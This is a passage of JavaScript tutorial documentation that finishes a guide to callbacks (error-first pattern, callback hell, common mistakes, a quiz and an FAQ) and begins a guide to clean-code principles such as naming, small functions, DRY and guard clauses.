count = 0 const intervalId = setInterval(function() { count++ console.log(`Count: ${count}`) if (count >= 5) { clearInterval(intervalId) // Stop after 5 times console.log('Done!') } }, 1000) ``` **Passing arguments to timer callbacks:** ```javascript // Method 1: Closure (most common) const name = 'Alice' setTimeout(function() { console.log(`Hello, ${name}!`) }, 1000) // Method 2: setTimeout's extra arguments setTimeout(function(greeting, name) { console.log(`${greeting}, ${name}!`) }, 1000, 'Hello', 'Bob') // Extra args passed to callback // Method 3: Arrow function with closure const user = { name: 'Charlie' } setTimeout(() => console.log(`Hi, ${user.name}!`), 1000) ``` ### Pattern 3: Array Iteration These are synchronous callbacks, but they're everywhere: ```javascript const products = [ { name: 'Laptop', price: 999, inStock: true }, { name: 'Phone', price: 699, inStock: false }, { name: 'Tablet', price: 499, inStock: true } ] // forEach - do something with each item products.forEach(product => { console.log(`${product.name}: $${product.price}`) }) // map - transform each item into something new const productNames = products.map(product => product.name) // ['Laptop', 'Phone', 'Tablet'] // filter - keep only items that pass a test const available = products.filter(product => product.inStock) // [{ name: 'Laptop', ... }, { name: 'Tablet', ... }] // find - get the first item that passes a test const phone = products.find(product => product.name === 'Phone') // { name: 'Phone', price: 699, inStock: false } // reduce - combine all items into a single value const totalValue = products.reduce((sum, product) => sum + product.price, 0) // 2197 ``` ### Pattern 4: Custom Callbacks You can create your own functions that accept callbacks: ```javascript // A function that does something and then calls you back function fetchUserData(userId, callback) { // Simulate async operation setTimeout(function() { const user = { id: userId, name: 'Alice', email: 'alice@example.com' } callback(user) }, 1000) } // Using the function fetchUserData(123, function(user) { console.log('Got user:', user.name) }) console.log('Fetching user...') // Output: // Fetching user... // Got user: Alice (1 second later) ``` --- ## The Error-First Callback Pattern When Node.js came along, developers needed a standard way to handle errors in async callbacks. They landed on **error-first callbacks** (also called "Node-style callbacks" or "errbacks"). ### The Convention ```javascript // Error-first callback signature function callback(error, result) { // error: null/undefined if success, Error object if failure // result: the data if success, usually undefined if failure } ``` The first parameter is **always** reserved for an error. If the operation succeeds, `error` is `null` or `undefined`. If it fails, `error` contains an Error object. ### Reading a File (Node.js Example) ```javascript const fs = require('fs') fs.readFile('config.json', 'utf8', function(error, data) { // ALWAYS check for error first! if (error) { console.error('Failed to read file:', error.message) return // Important: stop execution! } // If we get here, error is null/undefined console.log('File contents:', data) const config = JSON.parse(data) console.log('Config loaded:', config) }) ``` ### Why Put Error First? 1. **Consistency** — Every callback has the same signature 2. **Can't be ignored** — The error is the first thing you see 3. **Early return** — Check for error, return early, then handle success 4. **No exceptions** — Async errors can't be caught with try/catch ### Creating Your Own Error-First Functions ```javascript function divideAsync(a, b, callback) { // Simulate async operation setTimeout(function() { // Check for errors if (typeof a !== 'number' || typeof b !== 'number') { callback(new Error('Both arguments must be numbers')) return } if (b === 0) { callback(new Error('Cannot divide by zero')) return } // Success! Error is null, result is the value const result = a / b callback(null, result) }, 100) } // Using it divideAsync(10, 2, function(error, result) { if (error) { console.error('Division failed:', error.message) return } console.log('Result:', result) // Result: 5 }) divideAsync(10, 0, function(error, result) { if (error) { console.error('Division failed:', error.message) // "Cannot divide by zero" return } console.log('Result:', result) }) ``` ### Common Mistake: Forgetting to Return ```javascript // ❌ WRONG - code continues after error callback! function processData(data, callback) { if (!data) { callback(new Error('No data provided')) // Oops! Execution continues... } // This runs even when there's an error! const processed = transform(data) // Crash! data is undefined callback(null, processed) } // ✓ CORRECT - return after error callback function processData(data, callback) { if (!data) { return callback(new Error('No data provided')) // Or: callback(new Error(...)); return; } // This only runs if data exists const processed = transform(data) callback(null, processed) } ``` <Warning> **Always return after calling an error callback!** Otherwise, your code continues executing with invalid data. </Warning> --- ## Callback Hell: The Pyramid of Doom When you have multiple async operations that depend on each other, callbacks nest inside callbacks. This creates the infamous "callback hell" or "pyramid of doom." ### The Problem Imagine a user authentication flow: 1. Get user from database 2. Verify password 3. Get user's profile 4. Get user's settings 5. Render the dashboard With callbacks, this becomes: ```javascript getUser(userId, function(error, user) { if (error) { handleError(error) return } verifyPassword(user, password, function(error, isValid) { if (error) { handleError(error) return } if (!isValid) { handleError(new Error('Invalid password')) return } getProfile(user.id, function(error, profile) { if (error) { handleError(error) return } getSettings(user.id, function(error, settings) { if (error) { handleError(error) return } renderDashboard(user, profile, settings, function(error) { if (error) { handleError(error) return } console.log('Dashboard rendered!') }) }) }) }) }) ``` ``` ┌─────────────────────────────────────────────────────────────────────────┐ │ CALLBACK HELL │ │ (The Pyramid of Doom) │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ getUser(id, function(err, user) { │ │ verifyPassword(user, pw, function(err, valid) { │ │ getProfile(user.id, function(err, profile) { │ │ getSettings(user.id, function(err, settings) { │ │ renderDashboard(user, profile, settings, function(err) { │ │ // Finally! But look at this indentation... │ │ }) │ │ }) │ │ }) │ │ }) │ │ }) │ │ │ │ Problems: │ │ • Hard to read (horizontal scrolling) │ │ • Hard to debug (which callback failed?) │ │ • Hard to maintain (adding a step means more nesting) │ │ • Error handling repeated at every level │ │ • Variables from outer callbacks hard to track │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ``` ### Why This Hurts 1. **Readability** — Code flows right instead of down, requiring horizontal scrolling 2. **Error handling** — Must be duplicated at every level 3. **Debugging** — Stack traces become confusing 4. **Maintenance** — Adding or removing steps is painful 5. **Variable scope** — Variables from outer callbacks are hard to track 6. **Testing** — Nearly impossible to unit test individual steps --- ## Escaping Callback Hell Here's how to escape the pyramid of doom. ### Strategy 1: Named Functions Extract anonymous callbacks into named functions: ```javascript // Before: Anonymous callback hell getData(function(err, data) { processData(data, function(err, processed) { saveData(processed, function(err) { console.log('Done!') }) }) }) // After: Named functions function handleData(err, data) { if (err) return handleError(err) processData(data, handleProcessed) } function handleProcessed(err, processed) { if (err) return handleError(err) saveData(processed, handleSaved) } function handleSaved(err) { if (err) return handleError(err) console.log('Done!') } function handleError(err) { console.error('Error:', err.message) } // Start the chain getData(handleData) ``` **Benefits:** - Code flows vertically (easier to read) - Functions can be reused - Easier to debug (named functions in stack traces) - Easier to test individually ### Strategy 2: Early Returns and Guard Clauses Keep the happy path at the lowest indentation level: ```javascript // Instead of nested if/else function processUser(user, callback) { validateUser(user, function(err, isValid) { if (err) { callback(err) } else { if (isValid) { saveUser(user, function(err, savedUser) { if (err) { callback(err) } else { callback(null, savedUser) } }) } else { callback(new Error('Invalid user')) } } }) } // Use early returns function processUser(user, callback) { validateUser(user, function(err, isValid) { if (err) return callback(err) if (!isValid) return callback(new Error('Invalid user')) saveUser(user, function(err, savedUser) { if (err) return callback(err) callback(null, savedUser) }) }) } ``` ### Strategy 3: Modularization Split your code into smaller, focused modules: ```javascript // auth.js function authenticateUser(credentials, callback) { getUser(credentials.email, function(err, user) { if (err) return callback(err) verifyPassword(user, credentials.password, function(err, isValid) { if (err) return callback(err) if (!isValid) return callback(new Error('Invalid password')) callback(null, user) }) }) } // profile.js function loadUserProfile(userId, callback) { getProfile(userId, function(err, profile) { if (err) return callback(err) getSettings(userId, function(err, settings) { if (err) return callback(err) callback(null, { profile, settings }) }) }) } // main.js authenticateUser(credentials, function(err, user) { if (err) return handleError(err) loadUserProfile(user.id, function(err, data) { if (err) return handleError(err) renderDashboard(user, data.profile, data.settings) }) }) ``` ### Strategy 4: Control Flow Libraries (Historical) Before Promises, libraries like [async.js](https://caolan.github.io/async/) helped manage callback flow: ```javascript // Using async.js waterfall (each step passes result to next) async.waterfall([ function(callback) { getUser(userId, callback) }, function(user, callback) { verifyPassword(user, password, function(err, isValid) { callback(err, user, isValid) }) }, function(user, isValid, callback) { if (!isValid) return callback(new Error('Invalid password')) getProfile(user.id, function(err, profile) { callback(err, user, profile) }) }, function(user, profile, callback) { getSettings(user.id, function(err, settings) { callback(err, user, profile, settings) }) } ], function(err, user, profile, settings) { if (err) return handleError(err) renderDashboard(user, profile, settings) }) ``` ### Strategy 5: Promises (The Modern Solution) [Promises](/concepts/promises) were invented specifically to solve callback hell: ```javascript // The same flow with Promises getUser(userId) .then(user => verifyPassword(user, password)) .then(({ user, isValid }) => { if (!isValid) throw new Error('Invalid password') return getProfile(user.id).then(profile => ({ user, profile })) }) .then(({ user, profile }) => { return getSettings(user.id).then(settings => ({ user, profile, settings })) }) .then(({ user, profile, settings }) => { renderDashboard(user, profile, settings) }) .catch(handleError) ``` <Note> This Promise chain is intentionally verbose to show how callbacks nest differently with Promises. For cleaner patterns and best practices, check out our [Promises guide](/concepts/promises). </Note> Or with [async/await](/concepts/async-await): ```javascript // The same flow with async/await async function initDashboard(userId, password) { try { const user = await getUser(userId) const isValid = await verifyPassword(user, password) if (!isValid) throw new Error('Invalid password') const profile = await getProfile(user.id) const settings = await getSettings(user.id) renderDashboard(user, profile, settings) } catch (error) { handleError(error) } } ``` <Tip> **Promises and async/await are built on callbacks.** They don't replace callbacks. They provide a cleaner abstraction over them. Under the hood, Promise `.then()` handlers are still callbacks! </Tip> --- ## Common Callback Mistakes ### Mistake 1: Calling a Callback Multiple Times A callback should typically be called exactly once, either with an error or with a result: ```javascript // ❌ WRONG - callback called multiple times! function fetchData(url, callback) { fetch(url) .then(response => { callback(null, response) // Called on success }) .catch(error => { callback(error) // Called on error }) .finally(() => { callback(null, 'done') // Called ALWAYS, even after success or error! }) } // ✓ CORRECT - callback called exactly once function fetchData(url, callback) { fetch(url) .then(response => callback(null, response)) .catch(error => callback(error)) } ``` ### Mistake 2: Synchronous and Asynchronous Mixing (Zalgo) A function should be consistently sync or async, never both. This inconsistency is nicknamed "releasing Zalgo," a reference to an internet meme about unleashing chaos. And chaos is exactly what you get when code behaves unpredictably: ```javascript // ❌ WRONG - sometimes sync, sometimes async (Zalgo!) function getData(cache, callback) { if (cache.has('data')) { callback(null, cache.get('data')) // Sync! return } fetchFromServer(function(err, data) { callback(err, data) // Async! }) } // This causes unpredictable behavior: let value = 'initial' getData(cache, function(err, data) { value = data }) console.log(value) // "initial" or the data? Depends on cache! // ✓ CORRECT - always async function getData(cache, callback) { if (cache.has('data')) { // Use setTimeout to make it async (works in browsers and Node.js) setTimeout(function() { callback(null, cache.get('data')) }, 0) return } fetchFromServer(function(err, data) { callback(err, data) }) } ``` ### Mistake 3: Losing `this` Context Regular functions lose their `this` binding when used as callbacks: ```javascript // ❌ WRONG - this is undefined/global const user = { name: 'Alice', greetLater: function() { setTimeout(function() { console.log(`Hello, ${this.name}!`) // this.name is undefined! }, 1000) } } user.greetLater() // "Hello, undefined!" // ✓ CORRECT - Use arrow function (inherits this) const user = { name: 'Alice', greetLater: function() { setTimeout(() => { console.log(`Hello, ${this.name}!`) // Arrow function keeps this }, 1000) } } user.greetLater() // "Hello, Alice!" // ✓ CORRECT - Use bind const user = { name: 'Alice', greetLater: function() { setTimeout(function() { console.log(`Hello, ${this.name}!`) }.bind(this), 1000) // Explicitly bind this } } user.greetLater() // "Hello, Alice!" // ✓ CORRECT - Save reference to this const user = { name: 'Alice', greetLater: function() { const self = this // Save reference setTimeout(function() { console.log(`Hello, ${self.name}!`) }, 1000) } } user.greetLater() // "Hello, Alice!" ``` ### Mistake 4: Not Handling Errors Always handle errors in async callbacks. Unhandled errors can crash your application: ```javascript // ❌ WRONG - error ignored fs.readFile('config.json', function(err, data) { const config = JSON.parse(data) // Crashes if err exists! startApp(config) }) // ✓ CORRECT - error handled fs.readFile('config.json', function(err, data) { if (err) { console.error('Could not read config:', err.message) process.exit(1) return } try { const config = JSON.parse(data) startApp(config) } catch (parseError) { console.error('Invalid JSON in config:', parseError.message) process.exit(1) } }) ``` --- ## Historical Context: Why JavaScript Uses Callbacks Understanding *why* JavaScript uses callbacks helps everything click into place. ### The Birth of JavaScript (1995) JavaScript was created by Brendan Eich at Netscape in just 10 days. Its primary purpose was to make web pages interactive, responding to user clicks, form submissions, and other events. ### The Single-Threaded Design JavaScript was designed to be **single-threaded**: one thing at a time. Why? 1. **Simplicity** — No race conditions, deadlocks, or complex synchronization 2. **DOM Safety** — Multiple threads modifying the DOM would cause chaos 3. **Browser Reality** — Early browsers couldn't handle multi-threaded scripts But single-threaded means a problem: **you can't block waiting for things.** If JavaScript waited for a network request to complete, the entire page would freeze. Users couldn't click, scroll, or do anything. That's unacceptable for a UI language. ### The Callback Solution Callbacks solved this problem neatly: 1. **Register interest** — "When this happens, call this function" 2. **Continue immediately** — Don't block, keep the UI responsive 3. **React later** — When the event occurs, the callback runs ```javascript // This pattern was there from day one element.onclick = function() { alert('Clicked!') } // The page doesn't freeze waiting for a click // JavaScript registers the callback and moves on // When clicked, the callback runs ``` ### The Evolution | Year | Development | |------|-------------| | 1995 | JavaScript created with event callbacks | | 1999 | XMLHttpRequest (AJAX) — async HTTP with callbacks | | 2009 | Node.js — callbacks for server-side I/O | | 2012 | Callback hell becomes a recognized problem | | 2015 | ES6 Promises — official solution to callback hell | | 2017 | ES8 async/await — syntactic sugar for Promises | ### Callbacks Are Still The Foundation Even with Promises and async/await, callbacks are everywhere: - **Event handlers** still use callbacks - **Array methods** still use callbacks - **Promises** use callbacks internally (`.then(callback)`) - **async/await** is syntactic sugar over Promise callbacks Callbacks aren't obsolete. They're the foundation that everything else builds upon. --- ## Key Takeaways <Info> **The key things to remember:** 1. **A callback is a function passed to another function** to be executed later — nothing magical 2. **Callbacks can be synchronous or asynchronous** — array methods are sync, timers and events are async 3. **Higher-order functions and callbacks are two sides of the same coin** — one accepts, one is passed 4. **Async callbacks go through the event loop** — they never run until all sync code finishes 5. **Error-first callbacks: `callback(error, result)`** — always check error first, return after handling 6. **You can't use try/catch for async callbacks** — the catch is gone by the time the callback runs 7. **Callback hell is real** — deeply nested callbacks become unreadable and unmaintainable 8. **Escape callback hell with:** named functions, modularization, early returns, or Promises 9. **Promises were invented to solve callback problems** — but they still use callbacks under the hood 10. **Callbacks are the foundation** — events, Promises, async/await all build on callbacks </Info> --- ## Test Your Knowledge <AccordionGroup> <Accordion title="Question 1: What's the difference between synchronous and asynchronous callbacks?"> **Answer:** **Synchronous callbacks** execute immediately, during the function call. They block until complete. Examples: `map`, `filter`, `forEach`. ```javascript [1, 2, 3].forEach(n => console.log(n)) // Runs immediately, blocks console.log('Done') // Runs after forEach completes ``` **Asynchronous callbacks** execute later, via the event loop. They don't block. Examples: `setTimeout`, `addEventListener`, `fs.readFile`. ```javascript setTimeout(() => console.log('Timer'), 0) // Registers, doesn't block console.log('Done') // Runs BEFORE the timer callback ``` </Accordion> <Accordion title="Question 2: Why is error the first parameter in Node.js-style callbacks?"> **Answer:** The error-first convention exists because: 1. **Consistency** — Every async callback has the same signature: `(error, result)` 2. **Can't be ignored** — The error is the first thing you must deal with 3. **Forces handling** — You naturally check for errors before using results 4. **No exceptions** — Async errors can't be caught with try/catch, so they must be passed ```javascript fs.readFile('file.txt', (error, data) => { if (error) { // Handle error FIRST console.error(error) return } // Safe to use data console.log(data) }) ``` </Accordion> <Accordion title="Question 3: What's the output of this code?"> ```javascript console.log('A') setTimeout(() => console.log('B'), 0) console.log('C') setTimeout(() => console.log('D'), 0) console.log('E') ``` **Answer:** `A`, `C`, `E`, `B`, `D` **Explanation:** 1. `console.log('A')` — sync, runs immediately → "A" 2. `setTimeout(..., 0)` — registers callback B, continues 3. `console.log('C')` — sync, runs immediately → "C" 4. `setTimeout(..., 0)` — registers callback D, continues 5. `console.log('E')` — sync, runs immediately → "E" 6. Call stack empty → event loop runs callback B → "B" 7. Event loop runs callback D → "D" Even with 0ms delay, setTimeout callbacks run after all sync code. </Accordion> <Accordion title="Question 4: How can you preserve `this` context in a callback?"> **Answer:** Three common approaches: **1. Arrow functions** (recommended — they inherit `this` from enclosing scope): ```javascript const obj = { name: 'Alice', greet() { setTimeout(() => { console.log(this.name) // "Alice" }, 100) } } ``` **2. Using `bind()`**: ```javascript setTimeout(function() { console.log(this.name) }.bind(this), 100) ``` **3. Saving a reference**: ```javascript const self = this setTimeout(function() { console.log(self.name) }, 100) ``` </Accordion> <Accordion title="Question 5: Why can't you use try/catch with async callbacks?"> **Answer:** The `try/catch` block executes **synchronously**. By the time an async callback runs, the try/catch is long gone. It's on a different "turn" of the event loop. ```javascript try { setTimeout(() => { throw new Error('Async error!') // This escapes! }, 100) } catch (e) { // This NEVER catches the error console.log('Caught:', e) } // The error crashes the program because: // 1. try/catch runs immediately // 2. setTimeout registers callback and returns // 3. try/catch completes (nothing thrown yet!) // 4. 100ms later, callback runs and throws // 5. No try/catch exists at that point ``` This is why we use error-first callbacks or Promise `.catch()` for async error handling. </Accordion> <Accordion title="Question 6: What are three ways to avoid callback hell?"> **Answer:** **1. Named functions** — Extract callbacks into named functions: ```javascript function handleUser(err, user) { if (err) return handleError(err) getProfile(user.id, handleProfile) } getUser(userId, handleUser) ``` **2. Modularization** — Split into separate modules/functions: ```javascript // auth.js exports authenticateUser() // profile.js exports loadProfile() // main.js composes them ``` **3. Promises/async-await** — Use modern async patterns: ```javascript const user = await getUser(userId) const profile = await getProfile(user.id) ``` Other approaches: control flow libraries (async.js), early returns, keeping nesting shallow. </Accordion> </AccordionGroup> --- ## Frequently Asked Questions <AccordionGroup> <Accordion title="What is a callback function in JavaScript?"> A callback is a function passed as an argument to another function, which calls it later. As documented on MDN, callbacks are the fundamental mechanism for asynchronous programming in JavaScript. Every event handler, timer, and array method like `forEach` and `map` uses callbacks to execute code at the right time. </Accordion> <Accordion title="What is callback hell?"> Callback hell (also called the "pyramid of doom") is a pattern of deeply nested callbacks that makes code hard to read and maintain. It typically occurs when multiple asynchronous operations depend on each other. This problem was one of the primary motivations for adding Promises to the ECMAScript 2015 specification. </Accordion> <Accordion title="What is the error-first callback pattern?"> The error-first pattern is a Node.js convention where callbacks receive an error as the first argument and the result as the second. If the error is `null`, the operation succeeded. This pattern became the de facto standard for Node.js APIs and was widely adopted before Promises. It ensures errors are always checked before processing results. </Accordion> <Accordion title="What is the difference between synchronous and asynchronous callbacks?"> Synchronous callbacks execute immediately within the calling function — array methods like `map` and `filter` use synchronous callbacks. Asynchronous callbacks execute later, after some operation completes — `setTimeout`, `fetch`, and event listeners use asynchronous callbacks. The distinction matters because async callbacks require understanding the event loop and task scheduling. </Accordion> <Accordion title="Why were Promises invented to replace callbacks?"> Promises solve three major callback problems: nested "pyramid of doom" code, inconsistent error handling, and inversion of control (trusting third-party code to call your callback correctly). According to the 2023 State of JS survey, async/await (built on Promises) is now the dominant async pattern, used by over 90% of JavaScript developers. </Accordion> </AccordionGroup> --- ## Related Concepts <CardGroup cols={2}> <Card title="Event Loop" icon="arrows-spin" href="/concepts/event-loop"> How JavaScript schedules and executes async callbacks </Card> <Card title="Promises" icon="handshake" href="/concepts/promises"> Modern solution to callback hell </Card> <Card title="async/await" icon="hourglass" href="/concepts/async-await"> Cleaner syntax for Promise-based async code </Card> <Card title="Higher-Order Functions" icon="layer-group" href="/concepts/higher-order-functions"> Functions that accept or return other functions </Card> </CardGroup> --- ## Reference <CardGroup cols={2}> <Card title="Callback function — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Glossary/Callback_function"> Official MDN glossary definition of callback functions </Card> <Card title="setTimeout — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/API/setTimeout"> Documentation for the setTimeout timer function </Card> <Card title="EventTarget.addEventListener — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/API/EventTarget/addEventListener"> How to register event callbacks on DOM elements </Card> <Card title="Array.prototype.forEach — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/forEach"> Synchronous callback pattern with array iteration </Card> </CardGroup> ## Articles <CardGroup cols={2}> <Card title="JavaScript Callbacks Explained" icon="newspaper" href="https://www.freecodecamp.org/news/javascript-callback-functions-what-are-callbacks-in-js-and-how-to-use-them/"> Starts with the "I'll call you back" phone analogy that makes callbacks click. Builds up from simple examples to async patterns step by step. </Card> <Card title="Callback Functions in JavaScript" icon="newspaper" href="https://javascript.info/callbacks"> Uses a script-loading example to show why callbacks exist and how they solve real problems. The "pyramid of doom" section shows exactly how callback hell develops. </Card> </CardGroup> ## Videos <CardGroup cols={2}> <Card title="Callbacks in JavaScript Explained!" icon="video" href="https://www.youtube.com/watch?v=cNjIUSDnb9k"> Mosh uses a movie database example that shows callbacks in a realistic context. Great production quality with on-screen code highlighting. </Card> <Card title="JavaScript Callbacks" icon="video" href="https://www.youtube.com/watch?v=QRq2zMHlBz4"> Kyle explains callbacks in under 8 minutes with zero fluff. Perfect if you want a quick refresher without sitting through a long tutorial. </Card> <Card title="Callback Functions" icon="video" href="https://www.youtube.com/watch?v=Nau-iEEgEoM"> MPJ's signature style makes this feel like a conversation, not a lecture. Explains the "why" behind callbacks, not just the "how." </Card> <Card title="Asynchronous JavaScript Tutorial" icon="video" href="https://www.youtube.com/watch?v=PoRJizFvM7s"> Covers the full async story: callbacks, then Promises, then async/await. Watch this one if you want to see how each pattern improves on the last. </Card> <Card title="JavaScript Callback Functions" icon="video" href="https://www.youtube.com/watch?v=pTbSfCT42_M"> Walks through callbacks with a setTimeout example, then shows how to create your own callback-accepting functions. Good for hands-on learners. </Card> </CardGroup> ================================================ FILE: docs/concepts/clean-code.mdx ================================================ --- title: "Clean Code" sidebarTitle: "Clean Code: Writing Readable JavaScript" description: "Learn clean code principles for JavaScript. Meaningful naming, small functions, DRY, and best practices for maintainable code." "og:type": "article" "article:author": "Leonardo Maldonado" "article:section": "Advanced Topics" "article:tag": "clean code, code readability, naming conventions, DRY principle, maintainable code" --- Why do some codebases feel like a maze while others read like a well-written story? What makes code easy to change versus code that makes you want to rewrite everything from scratch? ```javascript // Which would you rather debug at 2am? // Version A function p(a, b) { let x = 0 for (let i = 0; i < a.length; i++) { if (a[i].s === 1) x += a[i].p * b } return x } // Version B function calculateActiveProductsTotal(products, taxRate) { let total = 0 for (const product of products) { if (product.status === PRODUCT_STATUS.ACTIVE) { total += product.price * taxRate } } return total } ``` **Clean code** is code that's easy to read, easy to understand, and easy to change. The principles behind clean code were popularized by Robert C. Martin's book *[Clean Code: A Handbook of Agile Software Craftsmanship](https://www.amazon.com/Clean-Code-Handbook-Software-Craftsmanship/dp/0132350882)*, and Ryan McDermott adapted these principles specifically for JavaScript in his [clean-code-javascript](https://github.com/ryanmcdermott/clean-code-javascript) repository (94k+ GitHub stars). Both are essential reading for any JavaScript developer. <Info> **What you'll learn in this guide:** - What makes code "clean" and why it matters - Naming conventions that make code self-documenting - How to write small, focused functions that do one thing - The DRY principle and when to apply it - How to avoid side effects and write predictable code - Using early returns to reduce nesting - When to write comments (and when not to) - SOLID principles applied to JavaScript </Info> --- ## The Newspaper Analogy Think of your code like a newspaper article. A reader should understand the gist from the headline, get more details from the first paragraph, and find supporting information as they read further. Your code should work the same way: high-level functions at the top, implementation details below. ``` ┌─────────────────────────────────────────────────────────────────────────┐ │ CODE LIKE A NEWSPAPER │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ // HEADLINE: What does this module do? │ │ export function processUserOrder(userId, orderId) { │ │ const user = getUser(userId) │ │ const order = getOrder(orderId) │ │ validateOrder(user, order) │ │ return chargeAndShip(user, order) │ │ } │ │ │ │ // DETAILS: How does it do it? │ │ function getUser(userId) { ... } │ │ function getOrder(orderId) { ... } │ │ function validateOrder(user, order) { ... } │ │ function chargeAndShip(user, order) { ... } │ │ │ │ Read top-to-bottom. The "what" comes before the "how". │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ``` --- ## Meaningful Naming Names are everywhere in code: variables, functions, classes, files. Good names make comments unnecessary. Bad names make simple code confusing. ### Use Pronounceable, Searchable Names ```javascript // ❌ What does this even mean? const yyyymmdstr = moment().format('YYYY/MM/DD') const d = new Date() const t = d.getTime() // ✓ Crystal clear const currentDate = moment().format('YYYY/MM/DD') const now = new Date() const timestamp = now.getTime() ``` ### Use the Same Word for the Same Concept Pick one word per concept and stick with it. If you fetch users with `getUser()`, don't also have `fetchClient()` and `retrieveCustomer()`. ```javascript // ❌ Inconsistent - which one do I use? getUserInfo() fetchClientData() retrieveCustomerRecord() // ✓ Consistent vocabulary getUser() getClient() getCustomer() ``` ### Avoid Mental Mapping Single-letter variables force readers to remember what `a`, `x`, or `l` mean. Be explicit. ```javascript // ❌ What is 'l'? A number? A location? A letter? locations.forEach(l => { doStuff() // ... 50 lines later dispatch(l) // Wait, what was 'l' again? }) // ✓ No guessing required locations.forEach(location => { doStuff() dispatch(location) }) ``` ### Don't Add Unnecessary Context If your class is called `Car`, you don't need `carMake`, `carModel`, `carColor`. The context is already there. ```javascript // ❌ Redundant prefixes const Car = { carMake: 'Honda', carModel: 'Accord', carColor: 'Blue' } // ✓ Context is already clear const Car = { make: 'Honda', model: 'Accord', color: 'Blue' } ``` --- ## Functions Should Do One Thing This is the single most important rule in clean code, known as the Single Responsibility Principle (SRP). As Robert C. Martin states in *Clean Code*, "a function should do one thing, do it well, and do it only." When functions do one thing, they're easier to name, easier to test, and easier to reuse. ### Keep Functions Small and Focused ```javascript // ❌ This function does too many things function emailClients(clients) { clients.forEach(client => { const clientRecord = database.lookup(client) if (clientRecord.isActive()) { email(client) } }) } // ✓ Each function has one job function emailActiveClients(clients) { clients .filter(isActiveClient) .forEach(email) } function isActiveClient(client) { const clientRecord = database.lookup(client) return clientRecord.isActive() } ``` ### Limit Function Parameters Two or fewer parameters is ideal. If you need more, use an object with destructuring. This also makes the call site self-documenting. ```javascript // ❌ What do these arguments mean? createMenu('Settings', 'User preferences', 'Save', true) // ✓ Self-documenting with destructuring createMenu({ title: 'Settings', body: 'User preferences', buttonText: 'Save', cancellable: true }) function createMenu({ title, body, buttonText, cancellable = false }) { // ... } ``` ### Don't Use Boolean Flags A boolean parameter is a sign that the function does more than one thing. Split it into two functions instead. ```javascript // ❌ Boolean flag = function does two things function createFile(name, isTemp) { if (isTemp) { fs.create(`./temp/${name}`) } else { fs.create(name) } } // ✓ Two focused functions function createFile(name) { fs.create(name) } function createTempFile(name) { createFile(`./temp/${name}`) } ``` --- ## Avoid Magic Numbers and Strings Magic values are unexplained numbers or strings scattered through your code. They make code hard to understand and hard to change. ```javascript // ❌ What is 86400000? Why 18? setTimeout(blastOff, 86400000) if (user.age > 18) { allowAccess() } if (status === 1) { // ... } // ✓ Named constants are searchable and self-documenting const MILLISECONDS_PER_DAY = 60 * 60 * 24 * 1000 const MINIMUM_LEGAL_AGE = 18 const STATUS = { ACTIVE: 1, INACTIVE: 0 } setTimeout(blastOff, MILLISECONDS_PER_DAY) if (user.age > MINIMUM_LEGAL_AGE) { allowAccess() } if (status === STATUS.ACTIVE) { // ... } ``` <Tip> **Pro tip:** ESLint's `no-magic-numbers` rule can automatically flag magic numbers in your code. </Tip> --- ## DRY: Don't Repeat Yourself Duplicate code means multiple places to update when logic changes. The DRY principle was coined by Andy Hunt and Dave Thomas in *[The Pragmatic Programmer](https://pragprog.com/titles/tpp20/the-pragmatic-programmer-20th-anniversary-edition/)*, where they define it as "every piece of knowledge must have a single, unambiguous, authoritative representation." But be careful: a bad abstraction is worse than duplication. Only abstract when you see a clear pattern. ```javascript // ❌ Duplicate logic function showDeveloperList(developers) { developers.forEach(dev => { const salary = dev.calculateSalary() const experience = dev.getExperience() const githubLink = dev.getGithubLink() render({ salary, experience, githubLink }) }) } function showManagerList(managers) { managers.forEach(mgr => { const salary = mgr.calculateSalary() const experience = mgr.getExperience() const portfolio = mgr.getPortfolio() render({ salary, experience, portfolio }) }) } // ✓ Unified with type-specific handling function showEmployeeList(employees) { employees.forEach(employee => { const baseData = { salary: employee.calculateSalary(), experience: employee.getExperience() } const extraData = employee.type === 'developer' ? { githubLink: employee.getGithubLink() } : { portfolio: employee.getPortfolio() } render({ ...baseData, ...extraData }) }) } ``` --- ## Avoid Side Effects A function has a side effect when it does something other than take inputs and return outputs: modifying a global variable, writing to a file, or mutating an input parameter. Side effects make code unpredictable and hard to test. For a deeper dive, see our [Pure Functions](/concepts/pure-functions) guide. ```javascript // ❌ Mutates the original array - side effect! function addItemToCart(cart, item) { cart.push({ item, date: Date.now() }) } // ✓ Returns a new array - no side effects function addItemToCart(cart, item) { return [...cart, { item, date: Date.now() }] } ``` ```javascript // ❌ Modifies global state let name = 'Ryan McDermott' function splitName() { name = name.split(' ') // Mutates global! } // ✓ Pure function - no globals modified function splitName(name) { return name.split(' ') } const fullName = 'Ryan McDermott' const nameParts = splitName(fullName) ``` --- ## Early Returns and Guard Clauses Deeply nested code is hard to follow. Use early returns to handle edge cases first, then write the main logic without extra indentation. ```javascript // ❌ Deeply nested - hard to follow function getPayAmount(employee) { let result if (employee.isSeparated) { result = { amount: 0, reason: 'separated' } } else { if (employee.isRetired) { result = { amount: 0, reason: 'retired' } } else { // ... complex salary calculation result = { amount: salary, reason: 'employed' } } } return result } // ✓ Guard clauses - flat and readable function getPayAmount(employee) { if (employee.isSeparated) { return { amount: 0, reason: 'separated' } } if (employee.isRetired) { return { amount: 0, reason: 'retired' } } // Main logic at the top level const salary = calculateSalary(employee) return { amount: salary, reason: 'employed' } } ``` The same applies to loops. Use `continue` to skip iterations instead of nesting: ```javascript // ❌ Unnecessary nesting for (const user of users) { if (user.isActive) { if (user.hasPermission) { processUser(user) } } } // ✓ Flat and scannable for (const user of users) { if (!user.isActive) continue if (!user.hasPermission) continue processUser(user) } ``` --- ## Comments: Less is More Good code mostly documents itself. Comments should explain *why*, not *what*. According to a [Stack Overflow Developer Survey](https://survey.stackoverflow.co/2023/), over 80% of developers consider code readability more important than clever optimization. If you need a comment to explain what code does, consider rewriting the code to be clearer. ### Don't State the Obvious ```javascript // ❌ These comments add nothing function hashIt(data) { // The hash let hash = 0 // Length of string const length = data.length // Loop through every character for (let i = 0; i < length; i++) { // Get character code const char = data.charCodeAt(i) // Make the hash hash = (hash << 5) - hash + char // Convert to 32-bit 